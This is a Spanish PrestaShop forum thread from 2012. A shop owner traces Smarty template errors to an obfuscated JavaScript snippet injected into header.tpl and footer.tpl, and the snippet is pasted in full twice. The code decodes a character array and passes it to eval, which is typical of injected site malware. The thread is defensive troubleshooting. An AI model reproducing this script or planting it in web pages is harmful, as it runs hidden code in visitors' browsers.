PrestaSergi Posted May 29, 2012 Share Posted May 29, 2012 (edited) Buenas tardes a todos, tengo este error con un prestashop: Fatal error: Smarty error: [in /var/www/vhosts/miweb.es/httpdocs/themes/prestashop/header.tpl line 63]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/miweb.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 A que creeis que puede ser debido?No se puede acceder a ninguna de las páginas de la web. Edited May 29, 2012 by sergioprofesional (see edit history) Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Buenas tardes a todos, tengo este error con un prestashop: Fatal error: Smarty error: [in /var/www/vhosts/miweb.es/httpdocs/themes/prestashop/header.tpl line 63]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/ordenadorica.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 A que creeis que puede ser debido?No se puede acceder a ninguna de las páginas de la web. El error dice que hay un error de sintaxis en la carga de la linea 63 en el header.tpl Así que revisa que tienes exactamente en la linea 63 del header.tpl Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 En efecto, en el header.tpl había un script con códigos alfa numéricos con pinta maliciosa. El script es este a modo de interés. <body {if $page_name}id="{$page_name|escape:'htmlall':'UTF-8'}"{/if}><!--6e9ee7--> <script>try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n=[-1.75,-2.5,20,22.75,19.75,24.25,22.25,20.25,22.5,24,6.5,24.75,23.5,21.25,24,20.25,5,4.75,10,21,7.25,10.5,16,12.25,15.75,16,10,6.75,21,7.25,10.5,4.75,5.25,9.75,-1.75,-2.5];for(i=6-2-1-2-1;i-36!=0;i++){k=i;ss=ss+String["from"+"CharCode"](-1*2*h*(5+1*n[k]));}e(ss);}</script><!--/6e9ee7--> {if !$content_only} Cómo podéis observar empieza justo después del segundo if del body. Qué creeis que hace ese script? un Saludo y muchas gracias Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 A que plantilla te refieres statictic? Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Supongo a la que trae ese código, tambien tienes algo en el footer Fatal error: Smarty error: [in /var/www/vhosts/tuweb.es/httpdocs/themes/XXXXXX/footer.tpl line 21]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/tuweb.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 Saludos Que buena la plantilla XXXXXX Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Buenas tardes a todos, tengo este error con un prestashop: Fatal error: Smarty error: [in /var/www/vhosts/miweb.es/httpdocs/themes/prestashop/header.tpl line 63]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/ordenadorica.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 A que creeis que puede ser debido?No se puede acceder a ninguna de las páginas de la web. Una cosa estas bajo prestashop 1.4 o una versión inferior? Lo digo por que estas trabajando bajo smarty 2.. por lo que veo.. Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Su nombre es ninabobo, De que web estamos hablando, es mas de donde sacastes la linea que pegastes en tu mensaje, por que yo que haya escrito sergio solo veo... lo que comenta al principio.... Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Exacto está en la última línea... la plantilla es para 1.3 http://dapurpixel.co...restashop-theme Ya.. pero quien ha puesto esa linea me refiero la que pusistes tu: Supongo a la que trae ese código, tambien tienes algo en el footer Fatal error: Smarty error: [in /var/www/vhosts/tuweb.es/httpdocs/themes/XXXXXX/footer.tpl line 21]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/tuweb.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 Saludos Donde donde has sacado esto que comentas? Si sergio no ha puesto su web aqui o si? Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Si que está puesta fijate, line 446) in /var/www/vhosts.... Y el nombre de la plantilla como lo sacastes? Por que yo no veo que sergio haya comentado el nombre del plantilla en este tema ? (Simple curiosidad) Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Tan solo visitando la página... y como ese es el theme que tiene puesto. Pues he de suponer que es el del código en el header.tpl Pero si arriba dice esto: Fatal error: Smarty error: [in /var/www/vhosts/miweb.es/httpdocs/themes/prestashop/header.tpl line 63]: syntax error: unrecognized tag: q=document.createElement("u");q.appendChild(q+""); (Smarty_Compiler.class.php, line 446) in /var/www/vhosts/ordenadorica.es/httpdocs/tools/smarty_v2/Smarty.class.php on line 1095 Indica que es la plantilla por defecto de prestashop. Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Vale, no habia leido la parte en la que nombra a su tienda: ordenadorica.es (Me ha entrado un lapsus) Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Bueno entonces a cambiado mucho la plantilla por defecto, jejeje... Te estaba preguntando la url de su tienda, pero ya me he dado cuenta de que estaba arriba, por eso te he preguntado Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Pero de todos modos, si ya no aparece el error y antes si, o estoy confuso o hablamos de otra tienda, o ya lo ha arreglado. Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 He de suponer que esa es la web, ya que está en el texto que ha puesto. Yo veo esto al final de la página: Esperemos diga algo... Saludos Si pero este error hace referencia al footer.tpl y el que comento al principio hacia referencia al header.tpl Que por cierto metiendome en el footer.tpl de su plantilla esta esto: <script>try{q=document.createElement("u");q.appendChild(q+"");}catch(qw){h=-012/5;zz='a'+'l';f='fr'+'o'+'m'+'Ch';f+='arC';}try{begbe=prototype;}catch(b43gds){zz='zv'.substr(123-122)+zz;ss=[];f+=(h)?'ode':"";w=this;e=w[f.substr(11)+zz];n=[-1.75,-2.5,20,22.75,19.75,24.25,22.25,20.25,22.5,24,6.5,24.75,23.5,21.25,24,20.25,5,4.75,10,21,7.25,10.5,16,12.25,15.75,16,10,6.75,21,7.25,10.5,4.75,5.25,9.75,-1.75,-2.5];for(i=6-2-1-2-1;i-36!=0;i++){k=i;ss=ss+String["from"+"CharCode"](-1*2*h*(5+1*n[k]));}e(ss);}</script><!--/6e9ee7--> </html> Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 Okis entonces ya estas en ello, suerte Yo solo me he metido por la url del navegador, no estoy dentro ni nada por estilo Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 El código se coló también en el footer. Como moderador que eres me gustaría que editases los mensajes en los que se desvela el dominio... Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 El código se coló también en el footer. Como moderador que eres me gustaría que editases los mensajes en los que se desvela el dominio... Si el dominio, lo tienes puesto tu en el primer mensaje.. Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 estaba Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 estaba Has visto todos los errores que da tu tienda: ? Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 No entiendo muy bien que andáis haciendo, pero eso de "pues ya estás en ello, suerte" no me gusta como suena, se supone que este foro es para ayudar. Link to comment Share on other sites More sharing options...
nadie Posted May 29, 2012 Share Posted May 29, 2012 No entiendo muy bien que andáis haciendo, pero eso de "pues ya estás en ello, suerte" no me gusta como suena, se supone que este foro es para ayudar. Te estamos ayudando, te hemos dicho el fichero del footer, el compañero statitic ha analizado tu web entera, y tambien ha comentados los errores de 404 de la carga de algunos css y js, yo te acabo de pegar una captura, para que lo tengas en cuenta. Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 Veamos, el código malicioso aparece en todas las plantillas, por eso opté por tocar la de prestashop, y por eso puse el error con esa dirección. Arreglando una ya sabía como arreglar las demás. Ese código se ha metido solo al instalar algún componente. Link to comment Share on other sites More sharing options...
PrestaSergi Posted May 29, 2012 Author Share Posted May 29, 2012 Aún no había terminado hombre... Gracias por vuestra ayuda. Link to comment Share on other sites More sharing options...
Recommended Posts